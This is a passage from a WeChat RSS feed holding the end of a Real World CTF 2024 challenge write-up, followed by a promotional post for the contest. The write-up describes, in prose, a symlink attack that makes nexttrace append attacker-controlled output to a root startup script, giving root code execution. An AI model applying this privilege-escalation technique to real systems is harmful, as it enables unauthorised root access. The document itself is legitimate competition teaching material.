cGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsczAxaHowc2VzZms1Y3FzdnolMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTclQkMlOTYlRTUlODYlOTlpcCVFNiU5NSVCMCVFNiU4RCVBRSVFOCVBRSVCMCVFNSVCRCU5NSVFNSVCOSVCNiVFNyU5NCU5RiVFNiU4OCU5MCVFNiU5NSVCMCVFNiU4RCVBRSVFNSVCQSU5MyVFMyU4MCU4MiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">当然值得注意的是。nexttrace使用的ip2region的作者和als的作者一样。已经把v1版本的的代码整个扬了。只能从release下载的文件里还能看到v1版本的代码。</span></p><p><span style="font-size: 15px;">编写ip数据记录并生成数据库。</span></p></article><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="49" data-backw="578" data-imgfileid="503903336" data-ratio="0.08518518518518518" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a1c3e7f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4CCy0jJjcicGeIqko273PPBh7oFH2Rvj3XHXD0W1ianUdDWjE0DvhkIg4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls016ecmrm39yeostkf&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;接下来来说一说预期的。需要拿root shell才能解的做法：&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls0181gmjn20i0hewv&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;首先发现nexttrace有-o参数可以指定输出结果到文件。但是再次研究发现-o不能指定写入的位置。只能写到/tmp/trace.log这个文件中。那么很容易就能想到应该用Symbolic Attack。 并且题目描述中也特意提到了关闭了Symbolic Attack保护（虽然非预期了）。&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls016vjxyv3jlj94kx&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;如此一来面临的问题就只有两个了。如何控制nexttrace输出的内容。以及写入哪个文件。&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls01b41pvoun6a0r2ph&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;第一个问题，查看nexttrace源码和项目描述就可以看到。nexttrace支持从本地文件中读取ip信息数据库并进行查询：&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">可以看到输出中已经有了我们的payload。</span><br/></p><p style="text-align:center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="180" data-backw="578" data-imgfileid="503903337" data-ratio="0.3111111111111111" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c51e4050&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4C1XxdYI27O6CCQ6ybhZWDfYFiaEKfUOSXtrZEguoj2mFcibz9rCdFvib9A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="font-size: 15px;">至于写到哪里就比较简单了。还是看刚才我们看过的rbash的启动代码。可以发现最后一行并不是exec的。因此nexttrace追加写入到该文件（/app/utilities/start_fakeroot.sh）。那么在shell退出之后会继续执行命令。导致root权限的任意代码执行。</span><br/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls01k3jew30pe1paa3d&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;至于写到哪里就比较简单了。还是看刚才我们看过的rbash的启动代码。可以发现最后一行并不是exec的。因此nexttrace追加写入到该文件（/app/utilities/start_fakeroot.sh）。那么在shell退出之后会继续执行命令。导致root权限的任意代码执行。&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsczAxazNqZXczMHBlMXBhYTNkJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU4JTg3JUIzJUU0JUJBJThFJUU1JTg2JTk5JUU1JTg4JUIwJUU1JTkzJUFBJUU5JTg3JThDJUU1JUIwJUIxJUU2JUFGJTk0JUU4JUJFJTgzJUU3JUFFJTgwJUU1JThEJTk1JUU0JUJBJTg2JUUzJTgwJTgyJUU4JUJGJTk4JUU2JTk4JUFGJUU3JTlDJThCJUU1JTg4JTlBJUU2JTg5JThEJUU2JTg4JTkxJUU0JUJCJUFDJUU3JTlDJThCJUU4JUJGJTg3JUU3JTlBJTg0cmJhc2glRTclOUElODQlRTUlOTAlQUYlRTUlOEElQTglRTQlQkIlQTMlRTclQTAlODElRTMlODAlODIlRTUlOEYlQUYlRTQlQkIlQTUlRTUlOEYlOTElRTclOEUlQjAlRTYlOUMlODAlRTUlOTAlOEUlRTQlQjglODAlRTglQTElOEMlRTUlQjklQjYlRTQlQjglOEQlRTYlOTglQUZleGVjJUU3JTlBJTg0JUUzJTgwJTgyJUU1JTlCJUEwJUU2JUFEJUE0bmV4dHRyYWNlJUU4JUJGJUJEJUU1JThBJUEwJUU1JTg2JTk5JUU1JTg1JUE1JUU1JTg4JUIwJUU4JUFGJUE1JUU2JTk2JTg3JUU0JUJCJUI2JUVGJUJDJTg4JTJGYXBwJTJGdXRpbGl0aWVzJTJGc3RhcnRfZmFrZXJvb3Quc2glRUYlQkMlODklRTMlODAlODIlRTklODIlQTMlRTQlQjklODglRTUlOUMlQThzaGVsbCVFOSU4MCU4MCVFNSU4NyVCQSVFNCVCOSU4QiVFNSU5MCU4RSVFNCVCQyU5QSVFNyVCQiVBNyVFNyVCQiVBRCVFNiU4OSVBNyVFOCVBMSU4QyVFNSU5MSVCRCVFNCVCQiVBNCVFMyU4MCU4MiVFNSVBRiVCQyVFOCU4NyVCNHJvb3QlRTYlOUQlODMlRTklOTklOTAlRTclOUElODQlRTQlQkIlQkIlRTYlODQlOEYlRTQlQkIlQTMlRTclQTAlODElRTYlODklQTclRTglQTElOEMlRTMlODAlODIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p draggable="true"><br/></p><p><br/></p></article><section data-role="title" data-tools="135编辑器" data-id="138191"><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>14</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">Long Range 2</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p><br/></p><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Misc</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Baby</span></p><p><br/></p><p style=""><span style="font-size: 15px;">作者看到许多选手Writeup写得太好了，实在自愧不如，于是请大家欣赏下几位选手的Writeup（<span style="color: rgb(0, 0, 0);font-size: 15px;letter-spacing: 0.578px;caret-color: rgb(0, 0, 0);text-wrap: wrap;">可复制到浏览器查看🔗</span>）：<br style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);letter-spacing: normal;text-align: start;text-wrap: wrap;text-size-adjust: auto;"/></span><span style="font-size: 15px;color: rgb(122, 194, 89);"><a href="https://blog.nanax.fr/post/2024-01-28-hardware-longrange2/" target="_blank">https://blog.nanax.fr/post/2024-01-28-hardware-longrange2/</a></span><span style="font-size: 15px;"> by The Flat Network Society<br style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);letter-spacing: normal;text-align: start;text-wrap: wrap;text-size-adjust: auto;"/></span><span style="font-size: 15px;color: rgb(122, 194, 89);"><a href="https://github.com/mmm-team/public-writeups/tree/main/rwctf2024/longrange2 " target="_blank">https://github.com/mmm-team/public-writeups/tree/main/rwctf2024/longrange2 </a></span><span style="font-size: 15px;">by MMM<br style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);letter-spacing: normal;text-align: start;text-wrap: wrap;text-size-adjust: auto;"/></span><span style="font-size: 15px;color: rgb(122, 194, 89);"><a href="https://sec.gd/blog/en/posts/long-distance-2/ " target="_blank">https://sec.gd/blog/en/posts/long-distance-2/ </a></span><span style="font-size: 15px;">by WreckTheLine<br/></span></p><p><br/></p></article></article><section data-role="paragraph"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="585" data-backw="500" data-galleryid="" data-imgfileid="503902431" data-ratio="1.17" data-type="gif" data-w="500" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6f06ed08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FFuleibl6qMup3wI18CQnagJSSlKk95ibuNc4NVBUooThLicC7VETMglJJjESobBnRWZWWqz2ibmrOjlqS5I6T8xSjQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="2247501518">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b1dc0c24&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247501518%26idx%3D2%26sn%3Dd153fbbdc8f19fba52f125201618e15a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 04 Feb 2024 18:18:00 +0800</pubDate>
    </item>
    <item>
      <title>今晚开赛｜最强大脑入局RWCTF，CTFer「贴脸开大」</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247501512&amp;idx=1&amp;sn=3618406259020aa9a3a52f6db70dbf7d</link>
      <description>开赛之夜，希望大家wonder尽兴！</description>
      <content:encoded><![CDATA[<p>
<span>长亭科技</span> <span>2024-01-26 12:53</span> <span style="display: inline-block;">北京</span>
</p>

<p>开赛之夜，希望大家wonder尽兴！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d33608b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FtzAD45OOV0aqUALCZEoG5HkNon3w6pw24hS7fcSmDQbpd70UOQjibn0OOYguNCPwNrqltDbomy68iaLCYRdK8xXQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br/></p><section data-role="outer" style="box-sizing: border-box;background-repeat: repeat;background-position: center center;padding: 10px;background-color: rgb(0, 0, 0);background-size: auto;background-image: none;font-size: 16px;"><p style="text-align: center;font-size: 16px;margin: 0px 8px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section style="text-align: center;font-size: 16px;margin: 0px 8px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0px;caret-color: red;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">今天19:00点</span></section><section style="text-align: center;font-size: 16px;margin: 0px 8px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0px;caret-color: red;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">第六届Real World CTF正式开赛</span></section><section style="text-align: center;font-size: 16px;margin: 0px 8px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(61, 167, 66);text-decoration: underline;"><strong><span style="text-decoration: underline;margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;box-sizing: border-box !important;overflow-wrap: break-word !important;">最强大脑“脑王”入局围炉夜话</span></strong></span></section><section style="text-align: center;font-size: 16px;margin: 0px 8px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">18:00开聊</span></section><section style="text-align: center;font-size: 16px;margin: 0px 8px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎围观</span></section><section style="text-align: justify;font-size: 16px;margin: 0px 8px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="text-align: center;font-size: 16px;margin: 0px 8px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">正式打广告前来个走心局</span></section><section style="text-align: center;font-size: 16px;margin: 0px 8px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color:#ffffff;"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: #000000;font-size: 15px;caret-color: red;"><span style="margin: 0px;padding: 0px;max-width: 100%;line-height: 1.87em;letter-spacing: 0px;background-color: rgb(38, 160, 58);box-sizing: border-box !important;overflow-wrap: break-word !important;">长亭为什么一直坚持办RWCTF？</span></strong></span></section><section style="text-align: center;font-size: 16px;margin: 0px 8px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;letter-spacing: 0px;font-size: 15px;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">答案在这里👇 👇 👇</span></section><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0px;font-size: 15px;color: #000000;"> </span></p><section class="channels_iframe_wrp"><mp-common-videosnap class="js_uneditable custom_select_card channels_iframe videosnap_video_iframe" data-pluginname="mpvideosnap" data-url="https://findermp.video.qq.com/251/20304/stodownload?encfilekey=rjD5jyTuFrIpZ2ibE8T7Ym3K77SEULgkiadjMibW0AqLTcZgDuglyx5AXZtLYibbDlp1cB60mKngrCQrlpREq0NiazjQMrFFicdTN664VByAT5ib5vo2C5pCDhpEg&amp;bizid=1023&amp;dotrans=0&amp;hy=SZ&amp;idx=1&amp;m=&amp;scene=0&amp;token=cztXnd9GyrEDlPJwaX75GZ5GgB6GvEz81PzUHlkoh0gY9GRbsC6EHc62z7WicefYenibEVDh7AnYI" data-headimgurl="http://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="第6届 REAL WORLD CTF 1月26日~28日
我们竟然邀请到了他（们）
" data-nonceid="18226082343071219250" data-type="video" data-mediatype="undefined" data-authiconurl="https://dldir1v6.qq.com/weixin/checkresupdate/icons_filled_channels_authentication_enterprise_a2658032368245639e666fb11533a600.png" data-from="new" data-width="1920" data-height="1080" data-id="export/UzFfAgtgekIEAQAAAAAAb00gMhfNkQAAAAstQy6ubaLX4KHWvLEZgBPEw6JQDipFP7WFzNPgMIueJG8fcd7KhpzL861j15Pu" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0px;font-size: 15px;color: #000000;"><br/></span></p><p style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section style="font-size: 16px;margin: 0px 16px -31px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(191, 191, 191);font-size: 60px;">“</span></section><section style="font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(191, 191, 191);">      我们希望，RWCTF能够成为一个每年在全球范围内有影响力的安全Party，吸引更多安全研究人员和安全爱好者参与到Real World的年度狂欢中。</span></section><section style="text-align: right;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="text-align: right;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(191, 191, 191);">—— Real World CTF创始人杨坤</span></section><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:center;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 255, 255);"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;letter-spacing: 0px;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">所以  </span></strong><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;letter-spacing: 0.034em;"><span style="font-size: 15px;letter-spacing: 0px;caret-color: red;">这是</span></strong><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;letter-spacing: 0.034em;"><span style="font-size: 15px;letter-spacing: 0px;caret-color: red;">一 场</span></strong></span></p><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:left;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(192, 0, 0);font-size: 40px;letter-spacing: 1.5px;"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> 狂欢局</strong></span></p><section data-role="title" data-tools="135编辑器" data-id="103165" style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 10px auto;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><section style="margin: 3px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: flex-start;align-items: center;"><section data-brushtype="text" style="margin: 0px 0px 0px 10px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;letter-spacing: 2px;color: #c00000;"><p style="text-align:justify;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: 14px;line-height: 1.75em;"><span style="color:#ffffff;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;line-height: 1.87em;background-color: rgb(192, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;">“这不是轻易能</span></strong></span><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: red;"><span style="margin: 0px;padding: 0px;max-width: 100%;line-height: 1.87em;background-color: rgb(192, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;">获得的快乐，</span></strong></span></p><p style="text-align:justify;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: 14px;line-height: 1.75em;"><span style="color:#ffffff;"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: red;"><span style="margin: 0px;padding: 0px;max-width: 100%;line-height: 1.87em;background-color: rgb(192, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;">  玩儿过的人都明白”</span></strong></span></p></section></section></section></section><p style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section style="text-align: justify;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color:#ffffff;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;box-sizing: border-box !important;overflow-wrap: break-word !important;">今天，上千名CTF深度爱好者如约而至。</span><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;caret-color: red;box-sizing: border-box !important;overflow-wrap: break-word !important;">在线上，他们一起体验48小时的技术极限快感、畅游十余个前沿领域交织而成的赛题海洋、在虚拟3D场景中捕捉传说中的clone&amp;pwn……</span></span></section><p style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:left;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(0, 158, 231);font-size: 40px;letter-spacing: 1.5px;"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> 对战局</strong></span></p><section data-role="title" data-tools="135编辑器" data-id="103165" style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 10px auto;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><section style="margin: 3px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: flex-start;align-items: center;"><section data-brushtype="text" style="margin: 0px 0px 0px 10px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;letter-spacing: 2px;color: #009ee7;"><p style="text-align:justify;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: 14px;line-height: 1.75em;"><span style="color:#ffffff;"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: red;"><span style="margin: 0px;padding: 0px;max-width: 100%;line-height: 1.87em;background-color: rgb(0, 158, 231);box-sizing: border-box !important;overflow-wrap: break-word !important;">“出题组最好把ID留在题目里”</span></strong></span></p></section></section></section></section><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">ID是不可能留的，但是今年我们不仅手把手教你如何打CTF，还提前送上赛事锦囊。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;color: rgb(255, 255, 255);font-size: 15px;letter-spacing: 0.034em;">即便如此，出题组给大家的祝福依然是：“能多做一题是一题”“希望玩儿的开心”</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;color: rgb(255, 255, 255);letter-spacing: 0.034em;line-height: 1.87em;font-size: 24px;">🤷</span></section><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="text-align: left;font-size: 16px;margin: 